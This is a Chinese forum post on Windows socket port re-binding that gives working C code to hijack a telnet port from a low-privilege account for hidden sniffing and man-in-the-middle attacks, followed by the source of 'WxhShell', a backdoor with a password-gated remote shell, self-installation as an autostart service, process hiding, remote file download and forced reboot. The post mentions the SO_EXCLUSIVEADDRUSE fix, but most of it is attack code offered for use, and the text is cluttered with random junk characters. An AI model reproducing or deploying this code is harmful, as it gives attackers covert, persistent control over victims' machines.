社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15550阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;s$ P?('  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H" pwIiC  
S<w? ,Z  
  saddr.sin_family = AF_INET; T&E'MB  
M(Yt9}Z%Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S\2@~*{-8  
(~#-J7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Yjx4H  
e{ZS"e`!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 % )}rQqQ  
<$ ` ^  
  这意味着什么?意味着可以进行如下的攻击: ,e*WJh8k[  
_xo;[rEw8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8;(3fSNC  
2t#[$2mg\0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0P4g6t}e  
-JdNA2P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eqU y>  
Qf@ha  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VzuU 0  
-&LF`V&3w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [85tZr]  
'u:J "  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x 4`RKv2m  
"Q1oSpF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kclZ+E  
&^F'ME  
  #include AhNz[A  
  #include p3cb_  
  #include E qt\It9  
  #include    F@-8J?Hl:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BvpUcICJ  
  int main() 2<uBC  
  { ,+'VQa"]  
  WORD wVersionRequested; rCdTn+O2  
  DWORD ret; +)*oPSQ5  
  WSADATA wsaData; qo:t"x^  
  BOOL val; PED5>90  
  SOCKADDR_IN saddr; |h2=9\:]  
  SOCKADDR_IN scaddr; E*#5OT  
  int err; )bB Va^  
  SOCKET s; 3\a VZx!  
  SOCKET sc; TA!6|)BUW  
  int caddsize; J L2g!n= K  
  HANDLE mt; '6f)^DYA'?  
  DWORD tid;   ;^so;>F  
  wVersionRequested = MAKEWORD( 2, 2 ); )C0 y<:</  
  err = WSAStartup( wVersionRequested, &wsaData ); E-HK=D&W/  
  if ( err != 0 ) { ~Z$Ro/;l  
  printf("error!WSAStartup failed!\n"); +}^^]J$Nh  
  return -1; dwUs[v   
  } [LKzH!  
  saddr.sin_family = AF_INET; O|0,= 5  
   {:`XhPS<B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k$ w#:Sx  
#}C6}};  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /*m6-DC  
  saddr.sin_port = htons(23); zB#.EW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p!+bn,?G  
  { -@mcu{&  
  printf("error!socket failed!\n"); jUrUM.CJ\N  
  return -1; XOPiwrg%p  
  } 3U[:N &Jb  
  val = TRUE; x{,W<oXg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L [X "N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;~Q`TWC  
  { >$;,1N $bd  
  printf("error!setsockopt failed!\n"); ;Bne=vjQp  
  return -1; \NQ[w7  
  } 9mB] \{^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r/RX|M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~f?brQ?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w9CX5Fg  
*:Y9&s^6j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lrK?&a9AB  
  { U ]O>DM^'  
  ret=GetLastError(); /Ca M(^W   
  printf("error!bind failed!\n"); G-Zn-I  
  return -1; Ej$oRo{ IG  
  } hCB _g  
  listen(s,2); ]N6UY  
  while(1) DfVSG1g  
  { ->J5|c#  
  caddsize = sizeof(scaddr); "VA'W/yv!  
  //接受连接请求 -5,+gakSk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fTd":F  
  if(sc!=INVALID_SOCKET) 8j8~?=$a6Q  
  { ) {4$oXQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =Kt!+^\")  
  if(mt==NULL) @Qd5a(5WM  
  { 0MN)Z(Sa  
  printf("Thread Creat Failed!\n"); nC#SnyUO  
  break; xm> y3WC  
  } r9~IR  
  } S vW{1  
  CloseHandle(mt); f!JSb?#3  
  } .zvvk  
  closesocket(s); A1x    
  WSACleanup(); 68nPz".X  
  return 0; JUTlJyx8  
  }   Q8NrbMrl  
  DWORD WINAPI ClientThread(LPVOID lpParam) )9kp[hY  
  { >&)|fV&4  
  SOCKET ss = (SOCKET)lpParam; eyG[1EEU  
  SOCKET sc; }XRRM:B|)(  
  unsigned char buf[4096]; q5>!.v   
  SOCKADDR_IN saddr; sUpSXG-W/@  
  long num; p}q]GJ  
  DWORD val; jgT *=/GH2  
  DWORD ret; 2.&%mSN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U6~79Hnt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aTE;Gy,W  
  saddr.sin_family = AF_INET; GX%r-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cd)}a_9  
  saddr.sin_port = htons(23); sDyt3xN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x24&mWgU  
  { !FeNx*31i  
  printf("error!socket failed!\n"); mWH;-F*%  
  return -1; =_`cY^ib+  
  } FyRr/0C>  
  val = 100; 5>rjL ;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .a}!!\@  
  { W! GUA<  
  ret = GetLastError(); NzbHg p  
  return -1; ]?~[!&h  
  } DK(8Ml:k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S5wkBdr{  
  { {Ty?OZ  
  ret = GetLastError(); xWKUti i  
  return -1; %?!TqJT?{  
  } &p.7SPQ8/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Klqte*!  
  { _&PF(/w  
  printf("error!socket connect failed!\n"); ilFS9A3P  
  closesocket(sc); ^c:I]_Ww  
  closesocket(ss); =v~$&@  
  return -1; .< -~k@ P  
  } GD#W=O  
  while(1) _sIr'sR~  
  { )!d_Td\-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 opqf)C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ou [Wz{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @ jD#Tn-*  
  num = recv(ss,buf,4096,0); l7uEUMV  
  if(num>0) >TS=tK  
  send(sc,buf,num,0); D?r% Y  
  else if(num==0) :/i13FQ  
  break; g (V_&Y  
  num = recv(sc,buf,4096,0); s7:w>,v/  
  if(num>0) Y,d|b V*FH  
  send(ss,buf,num,0); N#7_)S[@0l  
  else if(num==0) k:CSH{s5{  
  break; ;e\K8*o  
  } 1:Xg&4s  
  closesocket(ss); &%@>S.  
  closesocket(sc); D0 rqte  
  return 0 ; _OR[RGy  
  } aN~x3G  
H]>7IhJ  
eHH9#Vrhc$  
========================================================== jQ5FvuNOy  
7kQ,D,c'  
下边附上一个代码,,WXhSHELL 5 OF*PBZ  
/G#W/Q  
========================================================== R!7a;J}  
zl["}I(*n  
#include "stdafx.h" .;NoKO7)  
+g8uV hC  
#include <stdio.h> K${CHKFf  
#include <string.h> k1M?6TW&  
#include <windows.h> 5C"A*Fg?;  
#include <winsock2.h> 9XW[NY#)#  
#include <winsvc.h> Aq{7WA  
#include <urlmon.h> WvHy}1W  
Dlo4Wy  
#pragma comment (lib, "Ws2_32.lib") rYk   
#pragma comment (lib, "urlmon.lib") ]=m0@JTbG  
iuWw(dJk  
#define MAX_USER   100 // 最大客户端连接数 "aeKrMgc6V  
#define BUF_SOCK   200 // sock buffer q|.K& @_'K  
#define KEY_BUFF   255 // 输入 buffer )\,hc$<=m  
+/2:  
#define REBOOT     0   // 重启 Fj0h-7L  
#define SHUTDOWN   1   // 关机 ?iNihE  
~n!7 ?4%U  
#define DEF_PORT   5000 // 监听端口 yy$7{9!  
wq`\p['Q,  
#define REG_LEN     16   // 注册表键长度 RaY=~g  
#define SVC_LEN     80   // NT服务名长度 d)jX%Z$LC  
)J!=X`b  
// 从dll定义API QzA/HP a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?c# v'c^=h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VWcR@/3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Se&%Dr3Nv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;gv9J [R  
`PvGfmYOl  
// wxhshell配置信息 ;/<J& #2.  
struct WSCFG { }-ysP$  
  int ws_port;         // 监听端口 ]mmL8%B@_  
  char ws_passstr[REG_LEN]; // 口令 jYJfo<  
  int ws_autoins;       // 安装标记, 1=yes 0=no *`.4M)Ym~  
  char ws_regname[REG_LEN]; // 注册表键名 .6#Y- iJqc  
  char ws_svcname[REG_LEN]; // 服务名 -YP>mwSN?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e8<[2J)P&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @Xe[5T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B$cx '_zF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D^W?~7e ^r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9b*1-1"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [sH[bmLR  
Qr l>A*  
}; :ift{XR'  
DV!) n 6  
// default Wxhshell configuration 1u0 NG)*f  
struct WSCFG wscfg={DEF_PORT, h *-j  
    "xuhuanlingzhe", ;qT7BUh(%  
    1, e'Th[ wJ  
    "Wxhshell", v J.sa&\H  
    "Wxhshell", SRx `m,535  
            "WxhShell Service", y~\K~qjd  
    "Wrsky Windows CmdShell Service", sw715"L  
    "Please Input Your Password: ", _GK3]F0  
  1, wFJ?u?b0Q  
  "http://www.wrsky.com/wxhshell.exe", .5x+FHu7  
  "Wxhshell.exe" * F T )`  
    }; R83Me #&  
cCH2=v4hU  
// 消息定义模块 ?"[h P=3J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e-#!3j!'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q={\|j$X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @n##.th  
char *msg_ws_ext="\n\rExit."; ~y(- j[  
char *msg_ws_end="\n\rQuit."; |VL(#U  
char *msg_ws_boot="\n\rReboot..."; 8Dq;QH}  
char *msg_ws_poff="\n\rShutdown..."; c{u~=24;%#  
char *msg_ws_down="\n\rSave to "; l;dZJ_Ut$  
!~&vcz0>)9  
char *msg_ws_err="\n\rErr!"; 2$O @T]  
char *msg_ws_ok="\n\rOK!"; O0gLu1*1v  
6*<=(SQI  
char ExeFile[MAX_PATH]; bNG;`VZ%  
int nUser = 0; >"Z^8J  
HANDLE handles[MAX_USER]; yw%5W=<  
int OsIsNt; m18If  
H0 YxPk)  
SERVICE_STATUS       serviceStatus; XKU+'Tz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,/;mK_6  
YpT x1c-  
// 函数声明 ;$y(Tvd;  
int Install(void); d4#Q<!r  
int Uninstall(void); GP5Y5 )  
int DownloadFile(char *sURL, SOCKET wsh); ?N,'1I  
int Boot(int flag); ,xew3c'(W  
void HideProc(void); 2>3gC_^go  
int GetOsVer(void); l0 H,TT~2  
int Wxhshell(SOCKET wsl); 6N&S3<c4JO  
void TalkWithClient(void *cs); wR?M2*ri  
int CmdShell(SOCKET sock); "C.7;Rvkp>  
int StartFromService(void); [Cj)@OC  
int StartWxhshell(LPSTR lpCmdLine); 5b1uD>,;y  
I9un  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8+ F}`lLA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L3GC[$S  
k\sM;bCv7  
// 数据结构和表定义 b>= Wq  
SERVICE_TABLE_ENTRY DispatchTable[] = 5 k%9>U%$  
{ FaE#\Q  
{wscfg.ws_svcname, NTServiceMain}, N1N{Ol'  
{NULL, NULL} BBR" HMa4  
}; c|}K_~l_  
gZlw  
// 自我安装 WAB0e~e:|Q  
int Install(void) dG-or  
{ 4s~HfxYT  
  char svExeFile[MAX_PATH]; mvq7G  
  HKEY key; /8>0; bX+  
  strcpy(svExeFile,ExeFile); poQdI?ed,  
YYE8/\+B.  
// 如果是win9x系统,修改注册表设为自启动 t'Eb#Nup3  
if(!OsIsNt) { m io1kDq<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QGr\I/Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^0~c 7`k`V  
  RegCloseKey(key); z_Wm HB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YWRE&MQ_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $xA J9_2P  
  RegCloseKey(key); _2m[(P9d  
  return 0; Z.:<TrN  
    } E kBae=  
  } 3w/( /|0  
} r(: 8!=~K  
else { =[P%_v``  
jby~AJf %  
// 如果是NT以上系统,安装为系统服务 W$" Y%^L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vuR5}/Ev  
if (schSCManager!=0) TBZ-17+  
{ ! Ea&]G  
  SC_HANDLE schService = CreateService Dac ^*k=D  
  ( j:3EpD@GS  
  schSCManager, 3P//H8 8LY  
  wscfg.ws_svcname, 0)d?Y  
  wscfg.ws_svcdisp, T?X^0UdJj  
  SERVICE_ALL_ACCESS, +/y{^}b/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T8$%9&j!UE  
  SERVICE_AUTO_START, (2z%U  
  SERVICE_ERROR_NORMAL, K??1,I  
  svExeFile, h?0F-6z  
  NULL, 3`58ah  
  NULL, 2GSgG.%SSM  
  NULL, \ Y*h  
  NULL, 99^AT*ByY  
  NULL .zvlRt.zl  
  ); r\(v+cd  
  if (schService!=0) M^z=1YrMd  
  { 0iYP  
  CloseServiceHandle(schService); 1"}B]5!  
  CloseServiceHandle(schSCManager); 8 +"10q-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sFLcOPj-%  
  strcat(svExeFile,wscfg.ws_svcname); k}D[Hp:m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7}Bj|]b)~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MZT6g.ny  
  RegCloseKey(key); #G3` p!"  
  return 0; pd d|n2q  
    } %=V"CJ$|  
  } [UMLx  
  CloseServiceHandle(schSCManager); On=u#DxQ  
} %X;7--S%?g  
} 8;TAb.r  
NZ>7dJ  
return 1; )ZGYhE  
} e RA7i  
)s7bJjT0=X  
// 自我卸载 q]px(  
int Uninstall(void) 0<g<GQ(E  
{ {O)YwT$`  
  HKEY key; D?^540,b  
pprejUR  
if(!OsIsNt) { 20aZI2sk`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a:A n=NA  
  RegDeleteValue(key,wscfg.ws_regname); 5G#$c'A{4  
  RegCloseKey(key); RdgVB G#Z1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vvyj  
  RegDeleteValue(key,wscfg.ws_regname); pTWg m\h  
  RegCloseKey(key); U;g S[8,p  
  return 0; 0#QKVZq2>  
  } il12T`a  
} QBoFpxh=  
} }f#_4ACaD  
else { 87i"   
7:>sc]Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q&xjF@I  
if (schSCManager!=0) %zzYleJ!]  
{ 9~c~E/4!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l-}KmZ]  
  if (schService!=0) rfs(#  
  { n!G.At'JP  
  if(DeleteService(schService)!=0) { @RGDhwS47  
  CloseServiceHandle(schService); GAw(mH*  
  CloseServiceHandle(schSCManager); @4drjT  
  return 0; T~Ly^|Ihz  
  } r?p[3JJ;mG  
  CloseServiceHandle(schService); _A{+H^,  
  } XE1$K_m  
  CloseServiceHandle(schSCManager); @QdnjXII*  
} <~{du ?4n  
} R4{-Qv#8 q  
o5swH6Y.)J  
return 1; o0ZBi|U\4  
} qsI^oBD"  
XJgh>^R^  
// 从指定url下载文件 F2;:vTA>  
int DownloadFile(char *sURL, SOCKET wsh) u7s"0f`  
{ +;Cr];b3  
  HRESULT hr; S2K#[mDG  
char seps[]= "/"; CqFeF?xd8h  
char *token; M:|8]y@  
char *file; rp's  
char myURL[MAX_PATH]; c.%.\al8oW  
char myFILE[MAX_PATH]; ?Go!j?#a  
hJ*Ihwn|  
strcpy(myURL,sURL); E.`6oX\L|  
  token=strtok(myURL,seps); :,S98z#  
  while(token!=NULL) y$b]7O  
  { r37[)kJ  
    file=token; tfYB_N  
  token=strtok(NULL,seps); vXv;1T  
  } 3mO;JXd  
SZhOm  
GetCurrentDirectory(MAX_PATH,myFILE); v.&>Ih/L  
strcat(myFILE, "\\"); SeEw.;Xw  
strcat(myFILE, file); g(Yb^'X/  
  send(wsh,myFILE,strlen(myFILE),0); 5~H#(d<oZ  
send(wsh,"...",3,0); K j3?ve~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9Uf j  
  if(hr==S_OK) `~# < &w  
return 0; wN=;i#  
else d2N:^vvvR  
return 1; ["3\eFg  
F;q#&  
} 7Nzbz3  
z>m=h)9d~  
// 系统电源模块 Y?d9l  
int Boot(int flag) @7oL#-  
{ \%0n}.A  
  HANDLE hToken; 5!X1G8h)uy  
  TOKEN_PRIVILEGES tkp; T-_"|-k}P%  
@FO) 0  
  if(OsIsNt) { ?jx1R^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J h&~ToF!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uXjP`/R|  
    tkp.PrivilegeCount = 1; a<~77~"4wn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PcT?<HU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z4X}O {  
if(flag==REBOOT) { c!K]J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lQ'GX9hN@  
  return 0; dG7OqA:9  
} P!G858V(  
else { -G7TEq)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !%)F J:p  
  return 0; %D g0fL  
} ;!!n{l$r'  
  } 6 Orum/|h  
  else { kE9esC 3  
if(flag==REBOOT) { pi<TFe@eG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F8:vDv  
  return 0; ^T"vX  
} y*pUlts<  
else { W\&8au ds  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {8)zg<rL+M  
  return 0; T&4qw(\G  
} ?T9(Vw  
} 2'EUy@0  
Y2o?gug  
return 1; tg]x0#@s  
} 8>,jpAN}r  
 ;s`sn$@  
// win9x进程隐藏模块 6KpHnSW  
void HideProc(void) )E@A0W  
{ $hivlI-7Ko  
&wD;SMr<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P:30L'.=[  
  if ( hKernel != NULL ) S;$-''o?9  
  { MrZh09y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); na9sm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tb3J9q+ya  
    FreeLibrary(hKernel); d ,4]VE  
  } bFe+m1Q_  
rM'=_nmi  
return; 9E>xIJ@J2T  
} f7m%|v!  
v?KC%  
// 获取操作系统版本 6d_'4B  
int GetOsVer(void) ma"3qGy  
{ :<}=e@/~|  
  OSVERSIONINFO winfo; ?>I;34tL(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); anXc|  
  GetVersionEx(&winfo); /YZr~|65  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -$\+' \  
  return 1; .zi_[  
  else "?V0$-DR  
  return 0; 0aG ni|  
} Ney/[3 A  
q@[Qj Gj@  
// 客户端句柄模块 Kx>qz.wwI?  
int Wxhshell(SOCKET wsl) V5UF3'3;}  
{ eEuvl`&  
  SOCKET wsh; d3D] k,  
  struct sockaddr_in client; 7Zlw^'q$:L  
  DWORD myID; gIjh:_ Pz  
 R}O_[  
  while(nUser<MAX_USER) '.:z&gSqx0  
{ 8fl`r~bqZ  
  int nSize=sizeof(client); < jJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xu%'Z".>:  
  if(wsh==INVALID_SOCKET) return 1; kM,C3x{A  
k?+?v?I =  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )h7<?@wv&  
if(handles[nUser]==0) %5(I/zB  
  closesocket(wsh); U|jSa,}  
else P GqQ@6B  
  nUser++; ? m DI#~)  
  } sB7# ~p A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,U2*FZ["  
Q+[n91ey**  
  return 0; ]n6#VTz*  
} ~E17L]ete  
pH9VTM.*  
// 关闭 socket p{T*k'  
void CloseIt(SOCKET wsh) "&Y`+0S8  
{ V<GHpFi0  
closesocket(wsh); Q'=x|K#xj  
nUser--; !|^|,"A)  
ExitThread(0); Mk"^?%PxT  
} |-:()yxs  
NPy&OcRl  
// 客户端请求句柄 La`NPY_:>  
void TalkWithClient(void *cs) G<65H+)M\  
{ l+KY)6o  
zdB^S%cztS  
  SOCKET wsh=(SOCKET)cs; ag [ZW  
  char pwd[SVC_LEN]; >g1~CEMN#  
  char cmd[KEY_BUFF]; f6hnTbJ  
char chr[1]; j()7_  
int i,j; E(>=rD/+  
c"f-3kFv  
  while (nUser < MAX_USER) { ]L5@,E4.  
3l rT3a3vV  
if(wscfg.ws_passstr) { mE+*)gb:Rd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , qMzWa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n<LEler#M  
  //ZeroMemory(pwd,KEY_BUFF); Cio 1E-4  
      i=0; J!dm-L  
  while(i<SVC_LEN) { G#ZH.24Y  
}bb;~  
  // 设置超时 n\mO6aJ  
  fd_set FdRead; ha]VWt%}  
  struct timeval TimeOut; '$i: 2mn,  
  FD_ZERO(&FdRead); }|h# \$w  
  FD_SET(wsh,&FdRead); )1?y 8_B  
  TimeOut.tv_sec=8; ejSji-Qd  
  TimeOut.tv_usec=0; ^pp\bVh2Q]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W=~~5jFX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `KZm0d{H  
hNC&T`.-~B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wON!MhA;  
  pwd=chr[0]; Vr3Zu{&2  
  if(chr[0]==0xd || chr[0]==0xa) { k =>oO9`  
  pwd=0; (~p< P+  
  break; {:/#Nc$5  
  } m+ =] m_  
  i++; T^zXt?  
    } L^1NY3=$  
P\E<9*V  
  // 如果是非法用户,关闭 socket LQ@"Xe]5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hZ|z|!g0  
} U7?;UCmX  
Akq2 d;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )*u8/U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &h}#HS>l  
tm|ZBM  
while(1) { ./\@Km?  
'+@=ILj>  
  ZeroMemory(cmd,KEY_BUFF); *I B4[6  
&sl0W-;0  
      // 自动支持客户端 telnet标准   J"0`%'*/  
  j=0; C"y(5U)d  
  while(j<KEY_BUFF) { p'Y^ X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]}V<*f  
  cmd[j]=chr[0]; -M\<nx  
  if(chr[0]==0xa || chr[0]==0xd) { {B~QQMEow  
  cmd[j]=0; 4VHn  \  
  break; kXViWOXU^  
  } y#`tgJ:  
  j++; ~]sc^[  
    } `~cqAs}6]Q  
|44Ploz2b  
  // 下载文件 {4l8}w  
  if(strstr(cmd,"http://")) { zOJ%}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (|2t#'m  
  if(DownloadFile(cmd,wsh)) ]>!K3kB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ::`HQ@^  
  else ,Co|-DYf}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s9 mx  
  } :'Vf g[Uq  
  else { {$oj.V 4  
X;$+,&M"  
    switch(cmd[0]) { ?4YGT  
  ?d*z8w  
  // 帮助 xR~h wj  
  case '?': { cTifC1Pf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KR} ?H#%  
    break; fuW\bo3  
  } !t"4!3  
  // 安装 ~g91Pr   
  case 'i': { =nHUs1rKn  
    if(Install()) &$+AXzn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N%@Qf~  
    else 4Z3su^XR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Ah#<k-gC;  
    break; 2DA]i5  
    } A`%k:@  
  // 卸载 <sbu;dQ`  
  case 'r': { kdiM5l70  
    if(Uninstall()) : $1?i)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iT+8|Yia  
    else #~]zhHI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &ANf!*<\E  
    break; `7E;VL^Y1  
    } u,ho7ht3(  
  // 显示 wxhshell 所在路径 qz_7%c]K[  
  case 'p': { .vf'YNQ%  
    char svExeFile[MAX_PATH]; u[;\y|75  
    strcpy(svExeFile,"\n\r"); >NV @R&  
      strcat(svExeFile,ExeFile); K8|r&`X0  
        send(wsh,svExeFile,strlen(svExeFile),0); bW427B0  
    break; n` _{9R  
    } >b}o~F^J  
  // 重启 6yG^p]zZ  
  case 'b': { -m zIT4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZDJ`qJ8V  
    if(Boot(REBOOT)) #lo6c;*m5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QE+g j8  
